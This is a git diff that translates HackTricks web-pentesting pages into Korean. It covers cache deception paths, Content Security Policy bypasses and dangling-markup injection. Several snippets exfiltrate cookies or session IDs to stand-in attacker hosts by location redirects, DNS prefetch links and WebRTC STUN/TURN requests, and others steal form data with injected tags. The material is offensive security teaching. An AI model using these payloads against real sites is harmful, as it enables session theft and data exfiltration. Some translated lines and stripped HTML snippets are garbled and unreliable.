`/home/..%2fstatic/something`은 `/static/something`을 캐시하고 응답은 `/home`이 됩니다. +- **정적 디렉토리 + 점**: `/static/..%2Fhome` 또는 `/static/..%5Chome`에 대한 요청은 그대로 캐시될 수 있지만 응답은 `/home`일 수 있습니다. +- **정적 파일:** `/robots.txt`, `/favicon.ico`, `/index.html`과 같은 특정 파일은 항상 캐시됩니다. 이는 `/home/..%2Frobots.txt`와 같이 악용될 수 있으며, 캐시는 `/robots.txt`를 저장하고 원본 서버는 `/home`에 응답할 수 있습니다. {{#include ../../banners/hacktricks-training.md}} - diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 118050c61..b89dc48de 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -4,48 +4,43 @@
-Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! +경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요! -**Hacking Insights**\ -Engage with content that delves into the thrill and challenges of hacking +**해킹 통찰력**\ +해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요. -**Real-Time Hack News**\ -Keep up-to-date with fast-paced hacking world through real-time news and insights +**실시간 해킹 뉴스**\ +실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요. -**Latest Announcements**\ -Stay informed with the newest bug bounties launching and crucial platform updates +**최신 발표**\ +새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요. -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! +오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에서 저희와 함께하고 최고의 해커들과 협업을 시작하세요! ## What is CSP -Content Security Policy (CSP) is recognized as a browser technology, primarily aimed at **shielding against attacks such as cross-site scripting (XSS)**. It functions by defining and detailing paths and sources from which resources can be securely loaded by the browser. These resources encompass a range of elements such as images, frames, and JavaScript. For instance, a policy might permit the loading and execution of resources from the same domain (self), including inline resources and the execution of string code through functions like `eval`, `setTimeout`, or `setInterval`. +Content Security Policy (CSP)는 주로 **교차 사이트 스크립팅(XSS)**와 같은 공격으로부터 **보호하기 위한 브라우저 기술**로 인식됩니다. 이는 브라우저가 안전하게 리소스를 로드할 수 있는 경로와 출처를 정의하고 상세히 설명함으로써 작동합니다. 이러한 리소스는 이미지, 프레임 및 JavaScript와 같은 다양한 요소를 포함합니다. 예를 들어, 정책은 동일한 도메인(자체)에서 리소스를 로드하고 실행하는 것을 허용할 수 있으며, 여기에는 인라인 리소스와 `eval`, `setTimeout`, 또는 `setInterval`과 같은 함수를 통한 문자열 코드 실행이 포함됩니다. -Implementation of CSP is conducted through **response headers** or by incorporating **meta elements into the HTML page**. Following this policy, browsers proactively enforce these stipulations and immediately block any detected violations. +CSP의 구현은 **응답 헤더**를 통해 또는 **HTML 페이지에 메타 요소를 포함시켜** 수행됩니다. 이 정책에 따라 브라우저는 이러한 규정을 적극적으로 시행하고 감지된 위반 사항을 즉시 차단합니다. - Implemented via response header: - ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` - -- Implemented via meta tag: - +- 메타 태그를 통해 구현됨: ```xml ``` +### 헤더 -### Headers +CSP는 다음 헤더를 사용하여 시행되거나 모니터링될 수 있습니다: -CSP can be enforced or monitored using these headers: +- `Content-Security-Policy`: CSP를 시행합니다; 브라우저는 위반 사항을 차단합니다. +- `Content-Security-Policy-Report-Only`: 모니터링에 사용됩니다; 위반 사항을 차단하지 않고 보고합니다. 사전 생산 환경에서 테스트하는 데 이상적입니다. -- `Content-Security-Policy`: Enforces the CSP; the browser blocks any violations. -- `Content-Security-Policy-Report-Only`: Used for monitoring; reports violations without blocking them. Ideal for testing in pre-production environments. - -### Defining Resources - -CSP restricts the origins for loading both active and passive content, controlling aspects like inline JavaScript execution and the use of `eval()`. An example policy is: +### 리소스 정의 +CSP는 활성 및 수동 콘텐츠 로딩의 출처를 제한하며, 인라인 JavaScript 실행 및 `eval()` 사용과 같은 측면을 제어합니다. 정책의 예는 다음과 같습니다: ```bash default-src 'none'; img-src 'self'; @@ -57,82 +52,77 @@ frame-src 'self' https://ic.paypal.com https://paypal.com; media-src https://videos.cdn.mozilla.net; object-src 'none'; ``` +### 지시어 -### Directives +- **script-src**: JavaScript에 대한 특정 소스를 허용하며, URL, 인라인 스크립트 및 이벤트 핸들러나 XSLT 스타일시트에 의해 트리거된 스크립트를 포함합니다. +- **default-src**: 특정 가져오기 지시어가 없을 때 리소스를 가져오기 위한 기본 정책을 설정합니다. +- **child-src**: 웹 워커 및 임베디드 프레임 콘텐츠에 대한 허용된 리소스를 지정합니다. +- **connect-src**: fetch, WebSocket, XMLHttpRequest와 같은 인터페이스를 사용하여 로드할 수 있는 URL을 제한합니다. +- **frame-src**: 프레임에 대한 URL을 제한합니다. +- **frame-ancestors**: 현재 페이지를 포함할 수 있는 소스를 지정하며, ``, ` // The bot will load an URL with the payload ``` +### 북마클릿을 통한 공격 -### Via Bookmarklets +이 공격은 공격자가 **사용자를 설득하여 브라우저의 북마클릿 위에 링크를 드래그 앤 드롭하도록 하는** 사회 공학을 포함합니다. 이 북마클릿은 **악성 자바스크립트** 코드를 포함하고 있으며, 드래그 앤 드롭하거나 클릭할 경우 현재 웹 창의 컨텍스트에서 실행되어 **CSP를 우회하고 쿠키나 토큰과 같은 민감한 정보를 훔칠 수 있게** 합니다. -This attack would imply some social engineering where the attacker **convinces the user to drag and drop a link over the bookmarklet of the browser**. This bookmarklet would contain **malicious javascript** code that when drag\&dropped or clicked would be executed in the context of the current web window, **bypassing CSP and allowing to steal sensitive information** such as cookies or tokens. +자세한 내용은 [**원본 보고서를 확인하세요**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/) . -For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). +### CSP 제한을 통한 CSP 우회 -### CSP bypass by restricting CSP - -In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via **prototype pollution** or **dom clobbering** allowed to **abuse a different script to load an arbitrary script**. - -You can **restrict a CSP of an Iframe** with the **`csp`** attribute: +[**이 CTF 작성글**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)에서 CSP는 허용된 iframe 내부에 더 제한적인 CSP를 주입하여 우회되며, 이 CSP는 특정 JS 파일의 로드를 허용하지 않도록 설정되어 있습니다. 그 후, **프로토타입 오염** 또는 **DOM 클러버링**을 통해 **다른 스크립트를 악용하여 임의의 스크립트를 로드할 수 있게** 합니다. +**`csp`** 속성으로 **iframe의 CSP를 제한할 수 있습니다**: ```html +src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" +csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"> ``` - -In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), it was possible via **HTML injection** to **restrict** more a **CSP** so a script preventing CSTI was disabled and therefore the **vulnerability became exploitable.**\ -CSP can be made more restrictive using **HTML meta tags** and inline scripts can disabled **removing** the **entry** allowing their **nonce** and **enable specific inline script via sha**: - +[**이 CTF 작성글**](https://github.com/aszx87410/ctf-writeups/issues/48)에서는 **HTML 주입**을 통해 **CSP**를 더 제한적으로 설정하여 CSTI를 방지하는 스크립트를 비활성화할 수 있었고, 따라서 **취약점이 악용 가능해졌습니다.**\ +CSP는 **HTML 메타 태그**를 사용하여 더 제한적으로 만들 수 있으며, 인라인 스크립트는 **입력**을 제거하여 그들의 **nonce**를 허용하고 **sha를 통해 특정 인라인 스크립트를 활성화**할 수 있습니다: ```html ``` - ### JS exfiltration with Content-Security-Policy-Report-Only -If you can manage to make the server responds with the header **`Content-Security-Policy-Report-Only`** with a **value controlled by you** (maybe because of a CRLF), you could make it point your server and if you **wraps** the **JS content** you want to exfiltrate with **`` note that this **script** will be **loaded** because it's **allowed by 'self'**. Moreover, and because WordPress is installed, an attacker might abuse the **SOME attack** through the **vulnerable** **callback** endpoint that **bypasses the CSP** to give more privileges to a user, install a new plugin...\ -For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) +공격자는 해당 엔드포인트를 악용하여 WordPress에 대한 **SOME 공격**을 **생성**하고 `` 안에 **삽입**할 수 있습니다. 이 **스크립트**는 **'self'에 의해 허용되기 때문에** **로드**됩니다. 또한, WordPress가 설치되어 있기 때문에 공격자는 **CSP를 우회하는** **취약한** **콜백** 엔드포인트를 통해 **SOME 공격**을 악용하여 사용자에게 더 많은 권한을 부여하거나 새로운 플러그인을 설치할 수 있습니다...\ +이 공격을 수행하는 방법에 대한 더 많은 정보는 [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)를 확인하세요. ## CSP Exfiltration Bypasses -If there is a strict CSP that doesn't allow you to **interact with external servers**, there are some things you can always do to exfiltrate the information. +외부 서버와 **상호작용**하는 것을 허용하지 않는 엄격한 CSP가 있는 경우, 정보를 유출하기 위해 항상 할 수 있는 몇 가지 방법이 있습니다. ### Location -You could just update the location to send to the attacker's server the secret information: - +위치 정보를 업데이트하여 공격자의 서버에 비밀 정보를 전송할 수 있습니다: ```javascript var sessionid = document.cookie.split("=")[1] + "." document.location = "https://attacker.com/?" + sessionid ``` +### 메타 태그 -### Meta tag - -You could redirect by injecting a meta tag (this is just a redirect, this won't leak content) - +메타 태그를 주입하여 리디렉션할 수 있습니다 (이는 단순한 리디렉션이며, 콘텐츠가 유출되지 않습니다) ```html ``` - ### DNS Prefetch -To load pages faster, browsers are going to pre-resolve hostnames into IP addresses and cache them for later usage.\ -You can indicate a browser to pre-resolve a hostname with: `` - -You could abuse this behaviour to **exfiltrate sensitive information via DNS requests**: +페이지 로드를 더 빠르게 하기 위해, 브라우저는 호스트 이름을 IP 주소로 미리 해결하고 이를 나중에 사용하기 위해 캐시합니다.\ +브라우저에 호스트 이름을 미리 해결하도록 지시할 수 있습니다: `` +이 동작을 악용하여 **DNS 요청을 통해 민감한 정보를 유출할 수 있습니다**: ```javascript var sessionid = document.cookie.split("=")[1] + "." var body = document.getElementsByTagName("body")[0] body.innerHTML = - body.innerHTML + - '' +body.innerHTML + +'' ``` - -Another way: - +다른 방법: ```javascript const linkEl = document.createElement("link") linkEl.rel = "prefetch" linkEl.href = urlWithYourPreciousData document.head.appendChild(linkEl) ``` - -In order to avoid this from happening the server can send the HTTP header: - +이러한 일이 발생하지 않도록 서버는 HTTP 헤더를 보낼 수 있습니다: ``` X-DNS-Prefetch-Control: off ``` - > [!NOTE] -> Apparently, this technique doesn't work in headless browsers (bots) +> 분명히, 이 기술은 헤드리스 브라우저(봇)에서는 작동하지 않습니다. ### WebRTC -On several pages you can read that **WebRTC doesn't check the `connect-src` policy** of the CSP. - -Actually you can _leak_ informations using a _DNS request_. Check out this code: +여러 페이지에서 **WebRTC가 CSP의 `connect-src` 정책을 확인하지 않는다**고 읽을 수 있습니다. +실제로 _DNS 요청_을 사용하여 정보를 _유출_할 수 있습니다. 이 코드를 확인해 보세요: ```javascript ;(async () => { - p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }) - p.createDataChannel("") - p.setLocalDescription(await p.createOffer()) +p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }) +p.createDataChannel("") +p.setLocalDescription(await p.createOffer()) })() ``` - -Another option: - +또 다른 옵션: ```javascript var pc = new RTCPeerConnection({ - "iceServers":[ - {"urls":[ - "turn:74.125.140.127:19305?transport=udp" - ],"username":"_all_your_data_belongs_to_us", - "credential":"." - }] +"iceServers":[ +{"urls":[ +"turn:74.125.140.127:19305?transport=udp" +],"username":"_all_your_data_belongs_to_us", +"credential":"." +}] }); pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` - -## Checking CSP Policies Online +## CSP 정책 온라인 확인 - [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) - [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) -## Automatically creating CSP +## CSP 자동 생성 [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy) -## References +## 참고 문헌 - [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/) - [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/) @@ -847,18 +753,17 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
-Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! +경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요! -**Hacking Insights**\ -Engage with content that delves into the thrill and challenges of hacking +**해킹 통찰력**\ +해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요. -**Real-Time Hack News**\ -Keep up-to-date with fast-paced hacking world through real-time news and insights +**실시간 해킹 뉴스**\ +실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요. -**Latest Announcements**\ -Stay informed with the newest bug bounties launching and crucial platform updates +**최신 발표**\ +새로운 버그 바운티와 중요한 플랫폼 업데이트에 대한 정보를 유지하세요. -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! +**지금** [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하여 최고의 해커들과 협업을 시작하세요! {{#include ../../banners/hacktricks-training.md}} - diff --git a/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md b/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md index d7676b27a..1b89a4aac 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md @@ -1,19 +1,14 @@ -{{#include ../../banners/hacktricks-training.md}} - A configuration such as: - ``` Content-Security-Policy: default-src 'self' 'unsafe-inline'; ``` +코드로 전송된 문자열을 실행하는 모든 함수의 사용을 금지합니다. 예를 들어: `eval, setTimeout, setInterval`은 `unsafe-eval` 설정으로 인해 모두 차단됩니다. -Prohibits usage of any functions that execute code transmitted as a string. For example: `eval, setTimeout, setInterval` will all be blocked because of the setting `unsafe-eval` +외부 소스의 모든 콘텐츠도 차단되며, 여기에는 이미지, CSS, WebSockets, 특히 JS가 포함됩니다. -Any content from external sources is also blocked, including images, CSS, WebSockets, and, especially, JS - -### Via Text & Images - -It's observed that modern browsers convert images and texts into HTML to enhance their display (e.g., setting backgrounds, centering, etc.). Consequently, if an image or text file, such as `favicon.ico` or `robots.txt`, is opened via an `iframe`, it's rendered as HTML. Notably, these pages often lack CSP headers and may not include X-Frame-Options, enabling the execution of arbitrary JavaScript from them: +### 텍스트 및 이미지 경로 +현대 브라우저는 이미지를 HTML로 변환하여 표시를 향상시키는 것으로 관찰됩니다 (예: 배경 설정, 중앙 정렬 등). 따라서 `favicon.ico` 또는 `robots.txt`와 같은 이미지나 텍스트 파일이 `iframe`을 통해 열리면 HTML로 렌더링됩니다. 특히, 이러한 페이지는 종종 CSP 헤더가 없으며 X-Frame-Options를 포함하지 않을 수 있어, 이로부터 임의의 JavaScript 실행이 가능해집니다: ```javascript frame = document.createElement("iframe") frame.src = "/css/bootstrap.min.css" @@ -22,11 +17,9 @@ script = document.createElement("script") script.src = "//example.com/csp.js" window.frames[0].document.head.appendChild(script) ``` +### 오류를 통한 방법 -### Via Errors - -Similarly, error responses, like text files or images, typically come without CSP headers and might omit X-Frame-Options. Errors can be induced to load within an iframe, allowing for the following actions: - +유사하게, 텍스트 파일이나 이미지와 같은 오류 응답은 일반적으로 CSP 헤더 없이 제공되며 X-Frame-Options를 생략할 수 있습니다. 오류는 iframe 내에서 로드되도록 유도될 수 있으며, 다음과 같은 작업을 허용합니다: ```javascript // Inducing an nginx error frame = document.createElement("iframe") @@ -40,28 +33,24 @@ document.body.appendChild(frame) // Generating an error via extensive cookies for (var i = 0; i < 5; i++) { - document.cookie = i + "=" + "a".repeat(4000) +document.cookie = i + "=" + "a".repeat(4000) } frame = document.createElement("iframe") frame.src = "/" document.body.appendChild(frame) // Removal of cookies is crucial post-execution for (var i = 0; i < 5; i++) { - document.cookie = i + "=" +document.cookie = i + "=" } ``` - -After triggering any of the mentioned scenarios, JavaScript execution within the iframe is achievable as follows: - +언급된 시나리오 중 하나를 트리거한 후, iframe 내에서 JavaScript 실행은 다음과 같이 가능합니다: ```javascript script = document.createElement("script") script.src = "//example.com/csp.js" window.frames[0].document.head.appendChild(script) ``` - -## References +## 참고문헌 - [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) {{#include ../../banners/hacktricks-training.md}} - diff --git a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md index 14a4525bc..f8b6ff66c 100644 --- a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md +++ b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md @@ -4,139 +4,114 @@ ## Resume -This technique can be use to extract information from a user when an **HTML injection is found**. This is very useful if you **don't find any way to exploit a** [**XSS** ](../xss-cross-site-scripting/)but you can **inject some HTML tags**.\ -It is also useful if some **secret is saved in clear text** in the HTML and you want to **exfiltrate** it from the client, or if you want to mislead some script execution. +이 기술은 **HTML injection이 발견되었을 때** 사용자로부터 정보를 추출하는 데 사용할 수 있습니다. **XSS** [**를 이용할 방법을 찾지 못할 때**](../xss-cross-site-scripting/) 유용하며, **HTML 태그를 주입할 수 있는 경우**에도 유용합니다.\ +또한 **비밀이 HTML에 평문으로 저장되어** 있고 이를 클라이언트에서 **유출**하고 싶거나, 스크립트 실행을 오도하고 싶을 때도 유용합니다. -Several techniques commented here can be used to bypass some [**Content Security Policy**](../content-security-policy-csp-bypass/) by exfiltrating information in unexpected ways (html tags, CSS, http-meta tags, forms, base...). +여기에서 언급된 여러 기술은 정보를 예상치 못한 방식(HTML 태그, CSS, http-meta 태그, 폼, base 등)으로 유출하여 일부 [**Content Security Policy**](../content-security-policy-csp-bypass/)를 우회하는 데 사용할 수 있습니다. ## Main Applications ### Stealing clear text secrets -If you inject `test ``` - -### Stealing forms - +### 양식 훔치기 ```html ``` +그런 다음, 데이터를 경로로 보내는 양식(`
`)은 악의적인 도메인으로 데이터를 보냅니다. -Then, the forms that send data to path (like ``) will send the data to the malicious domain. +### 양식 훔치기 2 -### Stealing forms 2 +양식 헤더 설정: `` 이렇게 하면 다음 양식 헤더가 덮어쓰여지고 양식의 모든 데이터가 공격자에게 전송됩니다. -Set a form header: `` this will overwrite the next form header and all the data from the form will be sent to the attacker. - -### Stealing forms 3 - -The button can change the URL where the information of the form is going to be sent with the attribute "formaction": +### 양식 훔치기 3 +버튼은 "formaction" 속성을 사용하여 정보가 전송될 URL을 변경할 수 있습니다. ```html ``` +공격자는 이를 사용하여 정보를 훔칠 수 있습니다. -An attacker can use this to steal the information. +[**이 공격의 예를 이 문서에서 찾으세요**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). -Find an [**example of this attack in this writeup**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). - -### Stealing clear text secrets 2 - -Using the latest mentioned technique to steal forms (injecting a new form header) you can then inject a new input field: +### 명확한 텍스트 비밀 훔치기 2 +가장 최근에 언급된 기술을 사용하여 양식을 훔치고 (새 양식 헤더 주입) 새로운 입력 필드를 주입할 수 있습니다: ```html ` tag. All the data until a closed `` is found will be sent: - +폼과 ``이 발견될 때까지 모든 데이터가 전송됩니다: ```html Click Me ← Injected lines + ← Injected lines - - ← Existing form (ignored by the parser) ... - ← Subverted field ... - - ... -
+
+← Existing form (ignored by the parser) ... + ← Subverted field ... + +... +
``` +### 노스크립트를 통한 평문 비밀 훔치기 -### Stealing clear text secrets via noscript - -`` Is a tag whose content will be interpreted if the browser doesn't support javascript (you can enable/disable Javascript in Chrome in [chrome://settings/content/javascript](chrome://settings/content/javascript)). - -A way to exfiltrate the content of the web page from the point of injection to the bottom to an attacker controlled site will be injecting this: +``는 브라우저가 자바스크립트를 지원하지 않을 경우 그 내용을 해석하는 태그입니다 (Chrome에서 자바스크립트를 [chrome://settings/content/javascript](chrome://settings/content/javascript)에서 활성화/비활성화할 수 있습니다). +공격자가 제어하는 사이트로 주입 지점에서 페이지의 내용을 하단까지 유출하는 방법은 다음을 주입하는 것입니다: ```html